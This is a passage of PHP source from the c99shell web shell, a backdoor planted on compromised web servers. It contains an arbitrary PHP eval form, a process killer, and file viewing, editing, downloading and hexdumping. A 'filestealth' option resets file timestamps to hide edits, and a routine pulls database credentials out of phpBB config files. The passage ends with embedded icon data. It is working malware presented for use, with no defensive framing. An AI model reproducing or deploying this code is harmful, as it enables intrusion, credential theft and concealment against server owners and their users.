color=green>".$line[0]." </font>";} $line[] = "<a href=\"".$surl."ac t=processes&d=".urlencod e($d)."&pid=".$line[1]." &sig=9\"><u>KILL</u></a> "; $prcs[] = $line; echo "</tr>"; } } } else { while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);} while ( ereg(" ",$ret)) {$ret = str_replace(" "," ",$r et);} while (ereg(" ",$ret)) {$ret = str_rep lace(" "," ",$ret);} while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);} while ( ereg(" ",$ret)) {$ret = str_replace(" "," ",$r et);} while (ereg(" ",$ret)) {$ret = str_rep lace(" "," ",$ret);} while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);} while ( ereg(" ",$ret)) {$ret = str_replace(" "," ",$r et);} while (ereg(" ",$ret)) {$ret = str_rep lace(" "," ",$ret);} while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);} while ( ereg(" ",$ret)) {$ret = str_replace(" "," ",$r et);} $ret = convert_ cyr_string($ret,"d","w") ; $stack = explode("\ n",$ret); unset($stac k[0],$stack[2]); $sta ck = array_values($stack ); $head = explode(" ",$stack[0]); $head[1 ] = explode(" ",$head[1] ); $head[1] = $head[1 ][0]; $stack = array_ slice($stack,1); unse t($head[2]); $head = array_values($head); if ($parsesort[1] != "a" ) {$y = "<a href=\"".$su rl."act=".$dspact."&d=". urlencode($d)."&processe s_sort=".$k."a\"><img sr c=\"".$surl."act=img&img =sort_desc\" height=\"9\ " width=\"14\" border=\" 0\"></a>";} else {$y = "<a href=\"".$surl."ac t=".$dspact."&d=".urlenc ode($d)."&processes_sort =".$k."d\"><img src=\"". $surl."act=img&img=sort_ asc\" height=\"9\" width =\"14\" border=\"0\"></a >";} if ($k > count($ head)) {$k = count($head )-1;} for($i=0;$i<cou nt($head);$i++) { if ($i != $k) {$head[$i ] = "<a href=\"".$surl." act=".$dspact."&d=".urle ncode($d)."&processes_so rt=".$i.$parsesort[1]."\ "><b>".trim($head[$i])." </b></a>";} } $prc s = array(); foreach ($stack as $line) { if (!empty($line)) { echo "<tr>"; $line = explode(" ",$ line); $line[1] = i ntval($line[1]); $line[2 ] = $line[3]; unset($lin e[3]); $line[2] = i ntval(str_replace(" ","" ,$line[2]))*1024; $prcs[] = $line; ec ho "</tr>"; } } } $head[$k] = "<b>".$ head[$k]."</b>".$y; $v = $processes_sort[0]; usort($prcs,"tabsort"); if ($processes_sort[1 ] == "d") {$prcs = array _reverse($prcs);} $tab = array(); $tab[] = $ head; $tab = array_mer ge($tab,$prcs); echo " <TABLE height=1 cellSpac ing=0 borderColorDark=#6 66666 cellPadding=5 widt h=\"100%\" bgColor=#3333 33 borderColorLight=#c0c 0c0 border=1 bordercolor =\"#C0C0C0\">"; foreac h($tab as $i=>$k) { echo "<tr>"; foreach ($k as $j=>$v) {if ($win and $i > 0 and $j == 2) {$v = view_size($v);} e cho "<td>".$v."</td>";} echo "</tr>"; } e cho "</table>"; } } if ($act == "eval") { if ( !empty($eval)) { echo "<b>Result of execution this PHP-code</b>:<br>" ; $tmp = ob_get_conten ts(); $olddir = realpa th("."); @chdir($d); if ($tmp) { ob_cle an(); eval($eval); $ret = ob_get_contents( ); $ret = convert_cyr _string($ret,"d","w"); ob_clean(); echo $t mp; if ($eval_txt) { $rows = count(exp lode("\r\n",$ret))+1; if ($rows < 10) {$rows = 10;} echo "<br><t extarea cols=\"122\" row s=\"".$rows."\" readonly >".htmlspecialchars($ret )."</textarea>"; } else {echo $ret."<br>"; } } else { if ( $eval_txt) { echo "<br><textarea cols=\"1 22\" rows=\"15\" readonl y>"; eval($eval); echo "</textarea>"; } else {echo $ret;} } @chdir($olddir); } else {echo "<b>Execut ion PHP-code</b>"; if (e mpty($eval_txt)) {$eval_ txt = true;}} echo "<fo rm action=\"".$surl."\" method=POST><input type= hidden name=act value=ev al><textarea name=\"eval \" cols=\"122\" rows=\"1 0\">".htmlspecialchars($ eval)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br ><br><input type=submit value=\"Execute\"> Display in text-area&nbs p;<input type=\"checkbox \" name=\"eval_txt\" val ue=\"1\""; if ($eval_txt ) {echo " checked";} ech o "></form>"; } if ($act == "f") { if ((!is_rea dable($d.$f) or is_dir($ d.$f)) and $ft != "edit" ) { if (file_exists($ d.$f)) {echo "<center><b >Permision denied (".htm lspecialchars($d.$f).")! </b></center>";} else {echo "<center><b>File d oes not exists (".htmlsp ecialchars($d.$f).")!</b ><br><a href=\"".$surl." act=f&f=".urlencode($f). "&ft=edit&d=".urlencode( $d)."&c=1\"><u>Create</u ></a></center>";} } el se { $r = @file_get_c ontents($d.$f); $ext = explode(".",$f); $c = count($ext)-1; $ext = $ext[$c]; $ext = strt olower($ext); $rft = " "; foreach($ftypes as $k=>$v) {if (in_array($e xt,$v)) {$rft = $k; brea k;}} if (eregi("sess_( .*)",$f)) {$rft = "phpse ss";} if (empty($ft)) {$ft = $rft;} $arr = a rray( array("<img src =\"".$surl."act=img&img= ext_diz\" border=\"0\">" ,"info"), array("<img src=\"".$surl."act=img& img=ext_html\" border=\" 0\">","html"), array( "<img src=\"".$surl."act =img&img=ext_txt\" borde r=\"0\">","txt"), arr ay("Code","code"), ar ray("Session","phpsess") , array("<img src=\"" .$surl."act=img&img=ext_ exe\" border=\"0\">","ex e"), array("SDB","sdb "), array("<img src=\ "".$surl."act=img&img=ex t_gif\" border=\"0\">"," img"), array("<img sr c=\"".$surl."act=img&img =ext_ini\" border=\"0\"> ","ini"), array("<img src=\"".$surl."act=img& img=download\" border=\" 0\">","download"), ar ray("<img src=\"".$surl. "act=img&img=ext_rtf\" b order=\"0\">","notepad") , array("<img src=\"" .$surl."act=img&img=chan ge\" border=\"0\">","edi t") ); echo "<b>View ing file: &nb sp; <img src=\"".$s url."act=img&img=ext_".$ ext."\" border=\"0\">&nb sp;".$f." (".view_size(f ilesize($d.$f)).")   ;   ;".view_perms_color($d.$ f)."</b><br>Select actio n/file-type:<br>"; for each($arr as $t) { if ($t[1] == $rft) {echo " <a href=\"".$surl."ac t=f&f=".urlencode($f)."& ft=".$t[1]."&d=".urlenco de($d)."\"><font color=g reen>".$t[0]."</font></a >";} elseif ($t[1] == $ft) {echo " <a href=\" ".$surl."act=f&f=".urlen code($f)."&ft=".$t[1]."& d=".urlencode($d)."\"><b ><u>".$t[0]."</u></b></a >";} else {echo " <a href=\"".$surl."act=f&f= ".urlencode($f)."&ft=".$ t[1]."&d=".urlencode($d) ."\"><b>".$t[0]."</b></a >";} echo " (<a href= \"".$surl."act=f&f=".url encode($f)."&ft=".$t[1]. "&white=1&d=".urlencode( $d)."\" target=\"_blank\ ">+</a>) |"; } echo "<hr size=\"1\" noshade> "; if ($ft == "info") { echo "<b>Informat ion:</b><table border=0 cellspacing=1 cellpaddin g=2><tr><td><b>Path</b>< /td><td> ".$d.$f."</td>< /tr><tr><td><b>Size</b>< /td><td> ".view_size(fil esize($d.$f))."</td></tr ><tr><td><b>MD5</b></td> <td> ".md5_file($d.$f)." </td></tr>"; if (!$wi n) { echo "<tr><t d><b>Owner/Group</b></td ><td> "; $ow = p osix_getpwuid(fileowner( $d.$f)); $gr = posix _getgrgid(filegroup($d.$ f)); echo ($ow["name "]?$ow["name"]:fileowner ($d.$f))."/".($gr["name" ]?$gr["name"]:filegroup( $d.$f)); } echo "< tr><td><b>Perms</b></td> <td><a href=\"".$surl."a ct=chmod&f=".urlencode($ f)."&d=".urlencode($d)." \">".view_perms_color($d .$f)."</a></td></tr><tr> <td><b>Create time</b></ td><td> ".date("d/m/Y H: i:s",filectime($d.$f))." </td></tr><tr><td><b>Acc ess time</b></td><td> ". date("d/m/Y H:i:s",filea time($d.$f))."</td></tr> <tr><td><b>MODIFY time</ b></td><td> ".date("d/m/ Y H:i:s",filemtime($d.$f ))."</td></tr></table><b r>"; $fi = fopen($d.$ f,"rb"); if ($fi) { if ($fullhexdump) {echo "<b>FULL HEXDUMP</ b>"; $str = fread($fi,fi lesize($d.$f));} els e {echo "<b>HEXDUMP PREV IEW</b>"; $str = fread($ fi,$hexdump_lines*$hexdu mp_rows);} $n = 0; $a0 = "00000000<br>"; $a1 = ""; $a2 = ""; for ($i=0; $i<s trlen($str); $i++) { $a1 .= sprintf("%0 2X",ord($str[$i]))." "; switch (ord($str[$i ])) { case 0: $a2 .= "<font>0</font> "; break; case 32: case 10: ca se 13: $a2 .= " "; break; default: $a 2 .= htmlspecialchars($s tr[$i]); } $n+ +; if ($n == $hexdu mp_rows) { $n = 0; if ($i+1 < s trlen($str)) {$a0 .= spr intf("%08X",$i+1)."<br>" ;} $a1 .= "<br>"; $a2 .= "<br>"; } } //if ($a1 != "") {$a0 .= sprintf(" %08X",$i)."<br>";} e cho "<table border=0 bgc olor=#666666 cellspacing =1 cellpadding=4><tr><td bgcolor=#666666>".$a0." </td><td bgcolor=000000> ".$a1."</td><td bgcolor= 000000>".$a2."</td></tr> </table><br>"; } $ encoded = ""; if ($ba se64 == 1) { echo "<b>Base64 Encode</b><b r>"; $encoded = base 64_encode(file_get_conte nts($d.$f)); } els eif($base64 == 2) { echo "<b>Base64 Encod e + Chunk</b><br>"; $encoded = chunk_split(b ase64_encode(file_get_co ntents($d.$f))); } elseif($base64 == 3) { echo "<b>Base64 E ncode + Chunk + Quotes</ b><br>"; $encoded = base64_encode(file_get_c ontents($d.$f)); $en coded = substr(preg_repl ace("!.{1,76}!","'\\0'.\ n",$encoded),0,-2); } elseif($base64 == 4) { $text = file_g et_contents($d.$f); $encoded = base64_decode ($text); echo "<b>Ba se64 Decode"; if (ba se64_encode($encoded) != $text) {echo " (failed) ";} echo "</b><br>"; } if (!empty($enc oded)) { echo "<t extarea cols=80 rows=10> ".htmlspecialchars($enco ded)."</textarea><br><br >"; } echo "<b>HEX DUMP:</b><nobr> [<a href =\"".$surl."act=f&f=".ur lencode($f)."&ft=info&fu llhexdump=1&d=".urlencod e($d)."\">Full</a>] [<a href=\"".$surl."act=f&f= ".urlencode($f)."&ft=inf o&d=".urlencode($d)."\"> Preview</a>]<br><b>Base6 4: </b> <nobr>[<a href=\ "".$surl."act=f&f=".urle ncode($f)."&ft=info&base 64=1&d=".urlencode($d)." \">Encode</a>] </no br> <nobr>[<a href=\"".$ surl."act=f&f=".urlencod e($f)."&ft=info&base64=2 &d=".urlencode($d)."\">+ chunk</a>] </nobr> <nobr>[<a href=\"".$surl ."act=f&f=".urlencode($f )."&ft=info&base64=3&d=" .urlencode($d)."\">+chun k+quotes</a>] </nob r> <nobr>[<a href=\"".$s url."act=f&f=".urlencode ($f)."&ft=info&base64=4& d=".urlencode($d)."\">De code</a>] </nobr> < P>"; } elseif ($ft = = "html") { if ($wh ite) {@ob_clean();} e cho $r; if ($white) { c99shexit();} } else if ($ft == "txt") {echo "<pre>".htmlspecialchars ($r)."</pre>";} elseif ($ft == "ini") {echo "< pre>"; var_dump(parse_in i_file($d.$f,true)); ech o "</pre>";} elseif ($ ft == "phpsess") { echo "<pre>"; $v = ex plode("|",$r); echo $ v[0]."<br>"; var_dump (unserialize($v[1])); echo "</pre>"; } el seif ($ft == "exe") { $ext = explode(".",$f ); $c = count($ext)-1 ; $ext = $ext[$c]; $ext = strtolower($ext) ; $rft = ""; forea ch($exeftypes as $k=>$v) { if (in_array($ ext,$v)) {$rft = $k; bre ak;} } $cmd = str_ replace("%f%",$f,$rft); echo "<b>Execute file :</b><form action=\"".$s url."\" method=POST><inp ut type=hidden name=act value=cmd><input type=\" text\" name=\"cmd\" valu e=\"".htmlspecialchars($ cmd)."\" size=\"".(strle n($cmd)+2)."\"><br>Displ ay in text-area<input ty pe=\"checkbox\" name=\"c md_txt\" value=\"1\" che cked><input type=hidden name=\"d\" value=\"".htm lspecialchars($d)."\"><b r><input type=submit nam e=submit value=\"Execute \"></form>"; } elsei f ($ft == "sdb") {echo " <pre>"; var_dump(unseria lize(base64_decode($r))) ; echo "</pre>";} else if ($ft == "code") { if (ereg("php"."BB 2.( .*) auto-generated confi g file",$r)) { $a rr = explode("\n",$r); if (count($arr == 18) ) { include($d. $f); echo "<b>phpBB configuration is detect ed in this file!<br>"; if ($dbms == "mysql4 ") {$dbms = "mysql";} if ($dbms == "mysql") {echo "<a href=\"".$sur l."act=sql&sql_server=". htmlspecialchars($dbhost )."&sql_login=".htmlspec ialchars($dbuser)."&sql_ passwd=".htmlspecialchar s($dbpasswd)."&sql_port= 3306&sql_db=".htmlspecia lchars($dbname)."\"><b>< u>Connect to DB</u></b>< /a><br><br>";} else {echo "But, you can't c onnect to forum sql-base , because db-software=\" ".$dbms."\" is not suppo rted by c99shell. Please , report us for fix.";} echo "Parameters fo r manual connect:<br>"; $cfgvars = array("d bms"=>$dbms,"dbhost"=>$d bhost,"dbname"=>$dbname, "dbuser"=>$dbuser,"dbpas swd"=>$dbpasswd); f oreach ($cfgvars as $k=> $v) {echo htmlspecialcha rs($k)."='".htmlspecialc hars($v)."'<br>";} echo "</b><hr size=\"1\" noshade>"; } } echo "<div style=\"bor der : 0px solid #FFFFFF; padding: 1em; margin-to p: 1em; margin-bottom: 1 em; margin-right: 1em; m argin-left: 1em; backgro und-color: ".$highlight_ background .";\">"; i f (!empty($white)) {@ob_ clean();} highlight_f ile($d.$f); if (!empt y($white)) {c99shexit(); } echo "</div>"; } elseif ($ft == "downlo ad") { @ob_clean(); header("Content-type : application/octet-stre am"); header("Content -length: ".filesize($d.$ f)); header("Content- disposition: attachment; filename=\"".$f."\";"); echo $r; exit; } elseif ($ft == "note pad") { @ob_clean() ; header("Content-typ e: text/plain"); head er("Content-disposition: attachment; filename=\" ".$f.".txt\";"); echo ($r); exit; } els eif ($ft == "img") { $inf = getimagesize($d .$f); if (!$white) { if (empty($imgsiz e)) {$imgsize = 20;} $width = $inf[0]/100*$i mgsize; $height = $i nf[1]/100*$imgsize; echo "<center><b>Size:</ b> "; $sizes = array("100","50","20"); foreach ($sizes as $ v) { echo "<a h ref=\"".$surl."act=f&f=" .urlencode($f)."&ft=img& d=".urlencode($d)."&imgs ize=".$v."\">"; if ($imgsize != $v ) {echo $v;} else {echo "<u >".$v."</u>";} echo "</a> "; } echo "<br>< br><img src=\"".$surl."a ct=f&f=".urlencode($f)." &ft=img&white=1&d=".urle ncode($d)."\" width=\"". $width."\" height=\"".$h eight."\" border=\"1\">< /center>"; } else { @ob_clean(); $ext = explode($f,".") ; $ext = $ext[count( $ext)-1]; header("Co ntent-type: ".$inf["mime "]); readfile($d.$f) ; exit; } } e lseif ($ft == "edit") { if (!empty($submit) ) { if ($filestea lth) {$stat = stat($d.$f );} $fp = fopen($d.$ f,"w"); if (!$fp) {e cho "<b>Can't write to f ile!</b>";} else { echo "<b>Saved!< /b>"; fwrite($fp,$e dit_text); fclose($ fp); if ($filesteal th) {touch($d.$f,$stat[9 ],$stat[8]);} $r = $edit_text; } } $rows = count(explode( "\r\n",$r)); if ($row s < 10) {$rows = 10;} if ($rows > 30) {$rows = 30;} echo "<form ac tion=\"".$surl."act=f&f= ".urlencode($f)."&ft=edi t&d=".urlencode($d)."\" method=POST><input type= submit name=submit value =\"Save\"> <input t ype=\"reset\" value=\"Re set\"> <input type= \"button\" onclick=\"loc ation.href='".addslashes ($surl."act=ls&d=".subst r($d,0,-1))."';\" value= \"Back\"><br><textarea n ame=\"edit_text\" cols=\ "122\" rows=\"".$rows."\ ">".htmlspecialchars($r) ."</textarea></form>"; } elseif (!empty($ft) ) {echo "<center><b>Manu ally selected type is in correct. If you think, i t is mistake, please sen d us url and dump of \$G LOBALS.</b></center>";} else {echo "<center><b >Unknown extension (".$e xt."), please, select ty pe manually.</b></center >";} } } } else { @ob_ clean(); $images = arra y( "arrow_ltr"=> "R0lGOD lhJgAWAIAAAAAAAP///yH5BA UUAAEALAAAAAAmABYAAAIvjI +py+0PF4i0gVvzuVxXDnoQ". "SIrUZGZoerKf28KjPNPOak u5RfZ+uQsKh8RiogAAOw==", "back"=> "R0lGODlhFAAUA KIAAAAAAP///93d3cDAwIaGh gQEBP///wAAACH5BAEAAAYAL AAAAAAUABQAAAM8". "aLrc/ jDKSWWpjVysSNiYJ4CUOBJoq jniILzwuzLtYN/3zBSErf6kB W+gKRiPRghPh+EFK0mOUEqt" . "Wg0JADs=", "buffer"=> "R0lGODlhFAAUAKIAAAAAAP ////j4+N3d3czMzLKysoaGhv ///yH5BAEAAAcALAAAAAAUAB QAAANo". "eLrcribG90y4F1 Amu5+NhY2kxl2CMKwrQRSGuV jp4LmwDAWqiAGFXChg+xhnRB +ptLOhai1crEmD". "Dlwv4c EC46mi2YgJQKaxsEGDFnnGwW DTEzj9jrPRdbhuG8Cr/2INZI OEhXsbDwkAOw==", "change "=> "R0lGODlhFAAUAMQfAL3 hj7nX+pqo1ejy/f7YAcTb+8v h+6FtH56WZtvr/RAQEZecx9L l/PX6/v3+". "/3eHt6q88eH u/ZkfH3yVyIuQt+72/kOm99f o/P8AZm57rkGS4Hez6pil9oe p3GZmZv///yH5BAEA". "AB8 ALAAAAAAUABQAAAWf4CeOZGm e6NmtLOulX+c4TVNVQ7e9qFz fg4HFonkdJA5S54cbRAoFyEO C". "wSiUtmYkkrgwOAeA5zr qaLldBiNMIJeD266XYTgQDm5 Rx8mdG+oAbSYdaH4Ga3c8JBM JaXQGBQgA". "CHkjE4aQkQ0 AlSITan+ZAQqkiiQPj1AFAaM KEKYjD39QrKwKAa8nGQK8Agu /CxTCsCMexsfIxjDL". "zMs hADs=", "delete"=> "R0lG ODlhFAAUAOZZAPz8/NPFyNgH Ls0YOvPz8/b29sacpNXV1fX1 9cwXOfDw8Kenp/n5+etgeunp ". "6dcGLMMpRurq6pKSktvb 2+/v7+1wh3R0dPnP17iAipxy el9fX7djcscSM93d3ZGRkeEs Tevd4LCw". "sGRkZGpOU+If Q+EQNoh6fdIcPeHh4YWFhbJQ YvLy8ui+xm5ubsxccOx8kcM4 UtY9WeAdQYmJifWv". "vHx8 fMnJycM3Uf3v8rRue98ONbOz s9YFK5SUlKYoP+Tk5N0oSufn 57ZGWsQrR9kIL5CQkOPj42Vl ". "ZeAPNudAX9sKMPv7+15Q U5ubm39/f8e5u4xiatra2ubK z8PDw+pfee9/lMK0t81rfd8A Kf///wAA". "AAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA". "AAAA AAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAACH5 ". "BAEAAFkALAAAAAAUABQA AAesgFmCg4SFhoeIhiUfIImI MlgQB46GLAlYQkaFVVhSAIZL T5cbEYI4". "STo5MxOfhQwB A1gYChckQBk1OwiIALACLkgx JilTBI69RFhDFh4HDJRZVFgP PFBR0FkNWDdMHA8G". "BZTa MCISVgMC4IkVWCcaPSi96OqG NFhKI04dgr0QWFcKDL3A4uOI jVZZABxQIWDBLkIEQrRoQsHQ ". "jwVFHBgiEGQFIgQasYkc SbJQIAA7", "download"=> "R0lGODlhFAAUALMIAAD/AAC AAIAAAMDAwH9/f/8AAP///wA AAP///wAAAAAAAAAAAAAAAAA AAAAA". "AAAAACH5BAEAAAg ALAAAAAAUABQAAAROEMlJq70 4UyGOvkLhfVU4kpOJSpx5nF9 YiCtLf0SuH7pu". "EYOgcBg kwAiGpHKZzB2JxADASQFCidQ JsMfdGqsDJnOQlXTP38przWb X3qgIADs=", "forward"=> "R0lGODlhFAAUAPIAAAAAAP/ //93d3cDAwIaGhgQEBP///wA AACH5BAEAAAYALAAAAAAUABQ AAAM8". "aLrc/jDK2Qp9xV5 WiN5G50FZaRLD6IhE66Lpt3R Dbd9CQFSE4P++QW7He7UKPh0 IqVw2l0RQSEqt". "WqsJADs =", "home"=> "R0lGODlhFA AUALMAAAAAAP///+rq6t3d3c zMzLKysoaGhmZmZgQEBP///w AAAAAAAAAAAAAAAAAA". "AA AAACH5BAEAAAkALAAAAAAUAB QAAAR+MMk5TTWI6ipyMoO3cU WRgeJoCCaLoKO0mq0ZxjNSBD WS". "krqAsLfJ7YQBl4tiRC YFSpPMdRRCoQOiL4i8CgZgk0 9WfWLBYZHB6UWjCequwEDHuO EVK3QtgN/j". "VwMrBDZvgF +ChHaGeYiCBQYHCH8VBJaWdA eSl5YiW5+goBIRADs=", "mo de"=> "R0lGODlhHQAUALMAA AAAAP///6CgpN3d3czMzIaGh mZmZl9fX////wAAAAAAAAAAA AAAAAAAAAAA". "AAAAACH5B AEAAAgALAAAAAAdABQAAASBE MlJq70461m6/+AHZMUgnGiqn iNWHHAsz3F7FUGu73xO". "2 BZcwGDoEXk/Uq4ICACeQ6fzm XTlns0ddle99b7cFvYpER55Z 10Xy1lKt8wpoIsACrdaqBpYE YK/". "dH1LRWiEe0pRTXBvV HwUd3o6eD6OHASXmJmamJUSY 5+gnxujpBIRADs=", "refre sh"=> "R0lGODlhEQAUALMAA AAAAP////Hx8erq6uPj493d3 czMzLKysoaGhmZmZl9fXwQEB P///wAAAAAA". "AAAAACH5B AEAAAwALAAAAAARABQAAAR1k MlJq0Q460xR+GAoIMvkheIYl MyJBkJ8lm6YxMKi6zWY". "3 AKCYbjo/Y4EQqFgKIYUh8Evu WQ6PwPFQJpULpunrXZLrYKx2 0G3oDA7093Esv19q5O/woFu9 ZAJ". "R3lufmWCVX13h3KHf WWMjGBDkpOUTTuXmJgRADs=" , "search"=> "R0lGODlhFA AUALMAAAAAAP///+rq6t3d3c zMzMDAwLKysoaGhnd3d2ZmZl 9fX01NTSkpKQQEBP//". "/w AAACH5BAEAAA4ALAAAAAAUAB QAAASn0Ml5qj0z5xr6+JZGeU ZpHIqRNOIRfIYiy+a6vcOpHO ap". "s5IKQccz8XgK4EGgQq WMvkrSscylhoaFVmuZLgUDAn ZxEBMODSnrkhiSCZ4CGrUWMA +LLDxuSHsD". "AkN4C3sfBX 10VHaBJ4QfA4eIU4pijQcFmC VoNkFlggcMRScNSUCdJyhoDa sNZ5MTDVsXBwlviRmr". "Cb q7C6sIrqawrKwTv68iyA6rDh EAOw==", "setup"=> "R0lG ODlhFAAUAMQAAAAAAP////j4 +OPj493d3czMzMDAwLKyspaW loaGhnd3d2ZmZl9fX01NTUJC ". "QhwcHP///wAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAA ACH5BAEA". "ABAALAAAAAAU ABQAAAWVICSKikKWaDmuShCU bjzMwEoGhVvsfHEENRYOgegl jkeg0PF4KBIFRMIB". "qCaC J4eIGQVoIVWsTfQoXMfoUfmM ZrgZ2GNDPGII7gJDLYErwG1v gW8CCQtzgHiJAnaFhyt2dwQE ". "OwcMZoZ0kJKUlZeOdQKb PgedjZmhnAcJlqaIqUesmIik pEixnyJhulUMhg24aSO6YyEA Ow==", "small_dir"=> "R0 lGODlhEwAQALMAAAAAAP///5 ycAM7OY///nP//zv/OnPf39/ ///wAAAAAAAAAAAAAAAAAAAA AA". "AAAAACH5BAEAAAgALA AAAAATABAAAARREMlJq7046y p6BxsiHEVBEAKYCUPrDp7HlX RdEoMqCebp". "/4YchffzGQ hH4YRYPB2DOlHPiKwqd1Pq8y rVVg3QYeH5RYK5rJfaFUUA3v B4fBIBADs=", "small_unk" => "R0lGODlhEAAQAHcAACH5 BAEAAJUALAAAAAAQABAAhwAA AIep3BE9mllic3B5iVpjdMvh /MLc+y1U". "p9Pm/GVufc7j /MzV/9Xm/EOm99bn/Njp/a7Q +tTm/LHS+eXw/t3r/Nnp/djo /Nrq/fj7/9vq/Nfo". "/Mbe +8rh/Mng+7jW+rvY+r7Z+7XR 9dDk/NHk/NLl/LTU+rnX+8zi /LbV++fx/e72/vH3/vL4/u31 ". "/e31/uDu/dzr/Orz/eHu /fX6/vH4/v////v+/3ez6vf7 //T5/kGS4Pv9/7XV+rHT+r/b +rza+vP4". "/uz0/urz/u71 /uvz/dTn/M/k/N3s/dvr/cjg +8Pd+8Hc+sff+8Te+/D2/rXI 8rHF8brM87fJ8nmP". "wr3N 86/D8KvB8F9neEFotEBntENp tENptSxUpx1IoDlfrTRcrZee yZacxpmhzIuRtpWZxIuOuKqz ". "9ZOWwX6Is3WIu5im07rJ 9J2t2Zek0m57rpqo1nKCtUVr tYir3vf6/46v4Yuu4WZvfr7P 6sPS6sDQ". "66XB6cjZ8a/K 79/s/dbn/ezz/czd9mN0jKTB 6ai/76W97niXz2GCwV6AwUds tXyVyGSDwnmYz4io". "24Oi 1a3B45Sy4ae944Ccz4Sj1n2G lgAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAA ". "AAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA". "AAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA". "AAAA AAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAA ". "AAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA". "AAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA". "AAjn ACtVCkCw4JxJAQQqFBjAxo0M NGqsABQAh6CFA3nk0MHiRREV DhzsoLQwAJ0gT4ToecSHAYMz ". "aQgoDNCCSB4EAnImCiSB jUyGLobgXBTpkAA5I6pgmSkD z5cuMSz8yWlAyoCZFGb4SQKh ASMBXJpM". "uSrQEQwkGjYk QCTAy6AlUMhWklQBw4MEhgSA 6XPgRxS5ii40KLFgi4BGTEKA sCKXihESCzrsgSQC". "yIkU V+SqOYLCA4csAup86OGDkNw4 BpQ4OaBFgB0TEyIUKqDwTRs4 a9yMCSOmDBoyZu4sJKCgwIDj ". "yAsokBkQADs=", "mult ipage"=>"R0lGODlhCgAMAJE DAP/////3mQAAAAAAACH5BAE AAAMALAAAAAAKAAwAAAIj3IR ". "pJhCODnovidAovBdMzzk ixlXdlI2oZpJWEsSywLzRUAA AOw==", "sort_asc"=> "R0 lGODlhDgAJAKIAAAAAAP///9 TQyICAgP///wAAAAAAAAAAAC H5BAEAAAQALAAAAAAOAAkAAA Ma". "SLrcPcE9GKUaQlQ5sN 5PloFLJ35OoK6q5SYAOw==", "sort_desc"=> "R0lGODlh DgAJAKIAAAAAAP///9TQyICA gP///wAAAAAAAAAAACH5BAEA AAQALAAAAAAOAAkAAAMb". " SLrcOjBCB4UVITgyLt5ch2mg SJZDBi7p6hIJADs=", "sql_ button_drop"=> "R0lGODlh CQALAPcAAAAAAIAAAACAAICA AAAAgIAAgACAgICAgMDAwP8A AAD/AP//AAAA//8A/wD/". " /////wAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAA AAAA". "AAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAMwAAZgAA mQAAzAAA/wAzAAAzMwAzZgAz mQAzzAAz/wBm". "AABmMwBm ZgBmmQBmzABm/wCZAACZMwCZ ZgCZmQCZzACZ/wDMAADMMwDM ZgDMmQDMzADM/wD/AAD/". " MwD/ZgD/mQD/zAD//zMAADMA MzMAZjMAmTMAzDMA/zMzADMz MzMzZjMzmTMzzDMz/zNmADNm MzNm". "ZjNmmTNmzDNm/zOZ ADOZMzOZZjOZmTOZzDOZ/zPM ADPMMzPMZjPMmTPMzDPM/zP/ ADP/MzP/ZjP/". "mTP/zDP/ /2YAAGYAM2YAZmYAmWYAzGYA /2YzAGYzM2YzZmYzmWYzzGYz /2ZmAGZmM2ZmZmZmmWZm". " zGZm/2aZAGaZM2aZZmaZmWaZ zGaZ/2bMAGbMM2bMZmbMmWbM zGbM/2b/AGb/M2b/Zmb/mWb/ zGb/". "/5kAAJkAM5kAZpkA mZkAzJkA/5kzAJkzM5kzZpkz mZkzzJkz/5lmAJlmM5lmZplm mZlmzJlm/5mZ". "AJmZM5mZ ZpmZmZmZzJmZ/5nMAJnMM5nM ZpnMmZnMzJnM/5n/AJn/M5n/ Zpn/mZn/zJn//8wAAMwA". " M8wAZswAmcwAzMwA/8wzAMwz M8wzZswzmcwzzMwz/8xmAMxm M8xmZsxmmcxmzMxm/8yZAMyZ M8yZ". "ZsyZmcyZzMyZ/8zM AMzMM8zMZszMmczMzMzM/8z/ AMz/M8z/Zsz/mcz/zMz///8A AP8AM/8AZv8A". "mf8AzP8A //8zAP8zM/8zZv8zmf8zzP8z //9mAP9mM/9mZv9mmf9mzP9m //+ZAP+ZM/+ZZv+Zmf+Z". " zP+Z///MAP/MM//MZv/Mmf/M zP/M////AP//M///Zv//mf// zP///yH5BAEAABAALAAAAAAJ AAsA". "AAg4AP8JREFQ4D+C CBOi4MawITeFCg/iQhEPxcSB lFCoQ5Fx4MSKv1BgRGGMo0iJ FC2ehHjSoMt/". "AQEAOw== ", "sql_button_empty"=> "R0lGODlhCQAKAPcAAAAAAIA AAACAAICAAAAAgIAAgACAgIC AgMDAwP8AAAD/AP//AAAA//8 A/wD/". "/////wAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAA". "AAAAAAA AAAAAAAAAAAAAAAAAAAAAAAA AMwAAZgAAmQAAzAAA/wAzAAA zMwAzZgAzmQAzzAAz/wBm". "AABmMwBmZgBmmQBmzABm/wC ZAACZMwCZZgCZmQCZzACZ/wD MAADMMwDMZgDMmQDMzADM/wD /AAD/". 